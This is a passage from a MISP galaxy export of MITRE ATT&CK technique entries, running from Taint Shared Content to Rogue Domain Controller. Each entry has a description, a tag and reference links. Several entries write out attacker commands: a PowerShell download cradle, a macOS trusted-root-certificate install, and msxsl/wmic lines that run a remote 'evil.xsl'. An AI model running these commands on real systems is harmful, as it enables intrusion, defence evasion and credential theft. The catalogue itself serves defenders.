such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.

A directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1547/009) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1564/001). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)

Adversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.

The tag is: *misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080"*

Table 8418. Table References

Links
https://attack.mitre.org/techniques/T1080
https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html

People Weakness Identification - TA0019

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/tactics/TA0019/).

People weakness identification consists of identifying and analyzing weaknesses and vulnerabilities from the intelligence gathering phases which can be leveraged to gain access to target or intermediate target persons of interest or social trust relationships.

The tag is: *misp-galaxy:mitre-attack-pattern="People Weakness Identification - TA0019"*

Table 8419. Table References

Links
https://attack.mitre.org/tactics/TA0019

Command and Control - TA0037

The adversary is trying to communicate with compromised devices to control them.

The command and control tactic represents how adversaries communicate with systems under their control within a target network. There are many ways an adversary can establish command and control with various levels of covertness, depending on system configuration and network topology. Due to the wide degree of variation available to the adversary at the network level, only the most common factors were used to describe the differences in command and control. There are still a great many specific techniques within the documented methods, largely due to how easy it is to define new protocols and use existing, legitimate protocols and network services for communication.

The resulting breakdown should help convey the concept that detecting intrusion through command and control protocols without prior knowledge is a difficult proposition over the long term. Adversaries' main constraints in network-level defense avoidance are testing and deployment of tools to rapidly change their protocols, awareness of existing defensive technologies, and access to legitimate Web services that, when used appropriately, make their tools difficult to distinguish from benign traffic.

Additionally, in the mobile environment, mobile devices are frequently connected to networks outside enterprise control such as cellular networks or public Wi-Fi networks. Adversaries could attempt to evade detection by communicating on these networks, and potentially even by using non-Internet Protocol mechanisms such as Short Message Service (SMS). However, cellular networks often have data caps and/or extra data charges that could increase the potential for adversarial communication to be detected.

The tag is: *misp-galaxy:mitre-attack-pattern="Command and Control - TA0037"*

Table 8420. Table References

Links
https://attack.mitre.org/tactics/TA0037

Remote Service Effects - TA0039

The adversary is trying to control or monitor the device using remote services.

This category refers to techniques involving remote services, such as vendor-provided cloud services (e.g. Google Drive, Google Find My Device, or Apple iCloud), or enterprise mobility management (EMM)/mobile device management (MDM) services that an adversary may be able to use to fulfill his or her objectives without access to the mobile device itself.

The tag is: *misp-galaxy:mitre-attack-pattern="Remote Service Effects - TA0039"*

Table 8421. Table References

Links
https://attack.mitre.org/tactics/TA0039

Security Support Provider - T1101

Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages</code> and <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called. (Citation: Graeber 2014)

The tag is: *misp-galaxy:mitre-attack-pattern="Security Support Provider - T1101"*

Table 8422. Table References

Links
http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html
https://attack.mitre.org/techniques/T1101
https://technet.microsoft.com/en-us/library/dn408187.aspx

Peripheral Device Discovery - T1120

Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.(Citation: Peripheral Discovery Linux)(Citation: Peripheral Discovery macOS) Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.

The tag is: *misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120"*

Table 8423. Table References

Links
https://attack.mitre.org/techniques/T1120
https://linuxhint.com/list-usb-devices-linux/
https://ss64.com/osx/system_profiler.html

Password Policy Discovery - T1201

Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum

password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).

Password policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as <code>net accounts (/domain)</code>, <code>Get-ADDefaultDomainPasswordPolicy</code>, <code>chage -l <username></code>, <code>cat /etc/pam.d/common-password</code>, and <code>pwpolicy getaccountpolicies</code> (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to discover password policy information (e.g. <code>show aaa</code>, <code>show aaa common-criteria policy all</code>).(Citation: US-CERT-TA18-106A)

Password policies can be discovered in cloud environments using available APIs such as <code>GetAccountPasswordPolicy</code> in AWS (Citation: AWS GetPasswordPolicy).

The tag is: *misp-galaxy:mitre-attack-pattern="Password Policy Discovery - T1201"*

Table 8424. Table References

Links
https://attack.mitre.org/techniques/T1201
https://docs.aws.amazon.com/IAM/latest/APIReference/API_GetAccountPasswordPolicy.html
https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu
https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines
https://www.us-cert.gov/ncas/alerts/TA18-106A

Analyze business processes - T1301

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1301).

Business processes, such as who typically communicates with who, or what the supply chain is for a particular part, provide opportunities for social engineering or other (Citation: Warwick2015)

The tag is: *misp-galaxy:mitre-attack-pattern="Analyze business processes - T1301"*

Table 8425. Table References

Links
https://attack.mitre.org/techniques/T1301

Install Root Certificate - T1130

Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's

chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.

Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)

Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)

Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)

In macOS, the Ay MaMi malware uses <code>/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert</code> to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)

The tag is: *misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1130"*

Table 8426. Table References

Links
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf
https://attack.mitre.org/techniques/T1130
https://capec.mitre.org/data/definitions/479.html
https://docs.microsoft.com/sysinternals/downloads/sigcheck
https://en.wikipedia.org/wiki/Root_certificate
https://objective-see.com/blog/blog_0x26.html
https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec
https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/
https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/

Modify Existing Service - T1031

Windows service configuration information, including the file path to the service's executable or

recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075).

Adversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of [Masquerading](https://attack.mitre.org/techniques/T1036) that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.

Adversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. (Citation: Twitter Service Recovery Nov 2017) (Citation: Microsoft Service Recovery Feb 2013)

The tag is: *misp-galaxy:mitre-attack-pattern="Modify Existing Service - T1031"*

Table 8427. Table References

Links
https://attack.mitre.org/techniques/T1031
https://capec.mitre.org/data/definitions/551.html
https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://twitter.com/r0wdy_/status/936365549553991680

Device Administrator Permissions - T1401

Adversaries may request device administrator permissions to perform malicious actions.

By abusing the device administration API, adversaries can perform several nefarious actions, such as resetting the device's password for [Device Lockout](https://attack.mitre.org/techniques/T1446), factory resetting the device to [Delete Device Data](https://attack.mitre.org/techniques/T1447) and any traces of the malware, disabling all of the device's cameras, or make it more difficult to uninstall the app.(Citation: Android DeviceAdminInfo)

Device administrators must be approved by the user at runtime, with a system popup showing which of the actions have been requested by the app. In conjunction with other techniques, such as [Input Injection](https://attack.mitre.org/techniques/T1516), an app can programmatically grant itself administrator permissions without any user input.

The tag is: *misp-galaxy:mitre-attack-pattern="Device Administrator Permissions - T1401"*

Table 8428. Table References

Links
https://attack.mitre.org/techniques/T1401
https://developer.android.com/reference/android/app/admin/DeviceAdminInfo

https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html

Ingress Tool Transfer - T1105

Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as [ftp](https://attack.mitre.org/software/S0095). Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570)).

On Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, [certutil](https://attack.mitre.org/software/S0160), and [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands such as <code>IEX(New-Object Net.WebClient).downloadString()</code> and <code>Invoke-WebRequest</code>. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`.(Citation: t1105_lolbas) A number of these tools, such as `wget`, `curl`, and `scp`, also exist on ESXi. After downloading a file, a threat actor may attempt to verify its integrity by checking its hash value (e.g., via `certutil -hashfile`).(Citation: Google Cloud Threat Intelligence COSCMICENERGY 2023)

Adversaries may also abuse installers and package managers, such as `yum` or `winget`, to download tools to victim hosts. Adversaries have also abused file application features, such as the Windows `search-ms` protocol handler, to deliver malicious files to victims through remote file searches invoked by [User Execution](https://attack.mitre.org/techniques/T1204) (typically after interacting with [Phishing](https://attack.mitre.org/techniques/T1566) lures).(Citation: T1105: Trellix_search-ms)

Files can also be transferred using various [Web Service](https://attack.mitre.org/techniques/T1102)s as well as native or otherwise present tools on the victim system.(Citation: PTSecurity Cobalt Dec 2016) In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service's web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim's machine.(Citation: Dropbox Malware Sync)

The tag is: *misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"*

Table 8429. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1105
https://cloud.google.com/blog/topics/threat-intelligence/cosmicenergy-ot-malware-russian-response/
https://lolbas-project.github.io/#t1105
https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf

https://www.technologyreview.com/2013/08/21/83143/dropbox-and-similar-services-can-sync-malware/
https://www.trellix.com/blogs/research/beyond-file-search-a-novel-method/

Graphical User Interface - T1061

This technique has been deprecated. Please use [Remote Services](https://attack.mitre.org/techniques/T1021) where appropriate.

The Graphical User Interfaces (GUI) is a common way to interact with an operating system. Adversaries may use a system's GUI during an operation, commonly through a remote interactive session such as [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076), instead of through a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), to search for information and execute files via mouse double-click events, the Windows Run command (Citation: Wikipedia Run Command), or other potentially difficult to monitor interactions.

The tag is: *misp-galaxy:mitre-attack-pattern="Graphical User Interface - T1061"*

Table 8430. Table References

Links
https://attack.mitre.org/techniques/T1061
https://en.wikipedia.org/wiki/Run_command

Modify System Image - T1601

Adversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves. On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file.

To change the operating system, the adversary typically only needs to affect this one file, replacing or modifying it. This can either be done live in memory during system runtime for immediate effect, or in storage to implement the change on the next boot of the network device.

The tag is: *misp-galaxy:mitre-attack-pattern="Modify System Image - T1601"*

Table 8431. Table References

Links
https://attack.mitre.org/techniques/T1601
https://tools.cisco.com/security/center/resources/integrity_assurance.html#13
https://tools.cisco.com/security/center/resources/integrity_assurance.html#7

Application Deployment Software - T1017

Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.

Access to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.

The tag is: *misp-galaxy:mitre-attack-pattern="Application Deployment Software - T1017"*

Table 8432. Table References

Links
https://attack.mitre.org/techniques/T1017
https://capec.mitre.org/data/definitions/187.html

Application Layer Protocol - T1071

Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, DNS, or publishing/subscribing. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.(Citation: Mandiant APT29 Eye Spy Email Nov 22)

The tag is: *misp-galaxy:mitre-attack-pattern="Application Layer Protocol - T1071"*

Table 8433. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1071
https://www.mandiant.com/resources/blog/unc3524-eye-spy-email

Credentials in Files - T1081

Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.

It is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)

In cloud environments, authenticated user credentials are often stored in local configuration and credential files. In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files. (Citation: Specter Ops - Cloud Credential Storage)

The tag is: *misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081"*

Table 8434. Table References

Links
http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx
http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html
https://attack.mitre.org/techniques/T1081
https://capec.mitre.org/data/definitions/639.html
https://posts.specterops.io/head-in-the-clouds-bd038bb69e48

Remote System Discovery - T1018

Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as [Ping](https://attack.mitre.org/software/S0097), <code>net view</code> using [Net](https://attack.mitre.org/software/S0039), or, on ESXi servers, `esxcli network diag ping`.

Adversaries may also analyze data from local host files (ex: <code>C:\Windows\System32\Drivers\etc\hosts</code> or <code>/etc/hosts</code>) or other passive means (such as local [Arp](https://attack.mitre.org/software/S0099) cache entries) in order to discover the presence of remote systems in an environment.

Adversaries may also target discovery of network infrastructure as well as leverage [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands on network devices to gather detailed information about systems within a network (e.g. <code>show cdp neighbors</code>, <code>show arp</code>).(Citation: US-CERT-TA18-106A)(Citation: CISA AR21-126A FIVEHANDS May 2021)

The tag is: *misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018"*

Table 8435. Table References

Links

https://attack.mitre.org/techniques/T1018
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a
https://www.elastic.co/security-labs/embracing-offensive-tooling-building-detections-against-koadic-using-eql
https://www.us-cert.gov/ncas/alerts/TA18-106A

Indirect Command Execution - T1202

Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (`pcalua.exe`), components of the Windows Subsystem for Linux (WSL), `Scriptrunner.exe`, as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), Run window, or via scripts.(Citation: VectorSec ForFiles Aug 2017)(Citation: Evi1cg Forfiles Nov 2017)(Citation: Secure Team - Scriptrunner.exe)(Citation: SS64)(Citation: Bleeping Computer - Scriptrunner.exe) Adversaries may also abuse the `ssh.exe` binary to execute malicious commands via the `ProxyCommand` and `LocalCommand` options, which can be invoked via the `-o` flag or by modifying the SSH config file.(Citation: Threat Actor Targets the Manufacturing industry with Lumma Stealer and Amadey Bot)

Adversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads.

The tag is: *misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202"*

Table 8436. Table References

Links
https://attack.mitre.org/techniques/T1202
https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe
https://cyble.com/blog/threat-actor-targets-manufacturing-industry-with-malware/
https://secureteam.co.uk/2023/01/08/windows-error-reporting-tool-abused-to-load-malware/
https://ss64.com/nt/scriptrunner.html
https://www.bleepingcomputer.com/news/security/hackers-abuse-windows-error-reporting-tool-to-deploy-malware/
https://x.com/Evi1cg/status/935027922397573120
https://x.com/vector_sec/status/896049052642533376

XSL Script Processing - T1220

Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)

Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)

Command-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)

- <code>msxsl.exe customers[.]xml script[.]xsl</code>
- <code>msxsl.exe script[.]xsl script[.]xsl</code>
- <code>msxsl.exe script[.]jpeg script[.]jpeg</code>

Another variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1218/010)/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)

Command-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)

- Local File: <code>wmic process list /FORMAT:evil[.]xsl</code>
- Remote File: <code>wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”</code>

The tag is: *misp-galaxy:mitre-attack-pattern="XSL Script Processing - T1220"*

Table 8437. Table References

Links
https://attack.mitre.org/techniques/T1220
https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script
https://lolbas-project.github.io/lolbas/Binaries/Wmic/

https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75
https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/
https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/
https://www.microsoft.com/download/details.aspx?id=21714
https://x.com/dez_/status/986614411711442944

Standard Cryptographic Protocol - T1032

Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.

The tag is: *misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032"*

Table 8438. Table References

Links
http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1032
https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html
https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf

Derive intelligence requirements - T1230

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1230).

Leadership or key decision makers may derive specific intelligence requirements from Key Intelligence Topics (KITs) or Key Intelligence Questions (KIQs). Specific intelligence requirements assist analysts in gathering information to establish a baseline of information about a topic or question and collection managers to clarify the types of information that should be collected to satisfy the requirement. (Citation: LowenthalCh4) (Citation: Heffter)

The tag is: *misp-galaxy:mitre-attack-pattern="Derive intelligence requirements - T1230"*

Table 8439. Table References

Links

https://attack.mitre.org/techniques/T1230

Custom Cryptographic Protocol - T1024

Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.

Custom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.

Some adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors. (Citation: F-Secure Cosmicduke)

The tag is: *misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024"*

Table 8440. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1024
https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf
https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf

Domain Generation Algorithms - T1520

Adversaries may use [Domain Generation Algorithms](https://attack.mitre.org/techniques/T1520) (DGAs) to procedurally generate domain names for command and control communication, and other uses such as malicious application distribution.(Citation: securelist rotexy 2018)

DGAs increase the difficulty for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.

The tag is: *misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1520"*

Table 8441. Table References

Links
https://attack.mitre.org/techniques/T1520
https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/
https://securelist.com/the-rotexy-mobile-trojan-banker-and-ransomware/88893/

Parent PID Spoofing - T1502

Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the <code>CreateProcess</code> API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via <code>svchost.exe</code> or <code>consent.exe</code>) rather than the current user context.(Citation: Microsoft UAC Nov 2018)

Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](Rundll32 (https://attack.mitre.org/techniques/T1085) to be <code>explorer.exe</code> rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via VBA [Scripting](https://attack.mitre.org/techniques/T1064) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)

Explicitly assigning the PPID may also enable [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) (given appropriate access rights to the parent process). For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as <code>lsass.exe</code>), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="Parent PID Spoofing - T1502"*

Table 8442. Table References

Links
https://attack.mitre.org/techniques/T1502
https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/
https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/
https://blog.xpnsec.com/becoming-system/
https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags
https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works
https://www.countercept.com/blog/detecting-parent-pid-spoofing/
https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3

Reflective Code Loading - T1620

Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk (e.g., [Shared Modules](https://attack.mitre.org/techniques/T1129)).

Reflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).(Citation: Introducing Donut)(Citation: S1 Custom Shellcode Tool)(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Mandiant BYOL) For example, the `Assembly.Load()` method executed by [PowerShell](https://attack.mitre.org/techniques/T1059/001) may be abused to load raw code into the running process.(Citation: Microsoft AssemblyLoad)

Reflective code injection is very similar to [Process Injection](https://attack.mitre.org/techniques/T1055) except that the “injection” loads code into the processes’ own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Intezer ACBackdoor)(Citation: S1 Old Rat New Tricks)

The tag is: *misp-galaxy:mitre-attack-pattern="Reflective Code Loading - T1620"*

Table 8443. Table References

Links
https://0x00sec.org/t/super-stealthy-droppers/3715
https://attack.mitre.org/techniques/T1620
https://learn.microsoft.com/dotnet/api/system.reflection.assembly.load
https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html
https://thewover.github.io/Introducing-Donut/
https://www.intezer.com/blog/research/acbackdoor-analysis-of-a-new-multiplatform-backdoor/
https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique
https://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/
https://www.sentinelone.com/blog/building-a-custom-tool-for-shellcode-analysis/
https://www.sentinelone.com/blog/teaching-an-old-rat-new-tricks/

Rogue Domain Controller - T1207

Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once

registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.

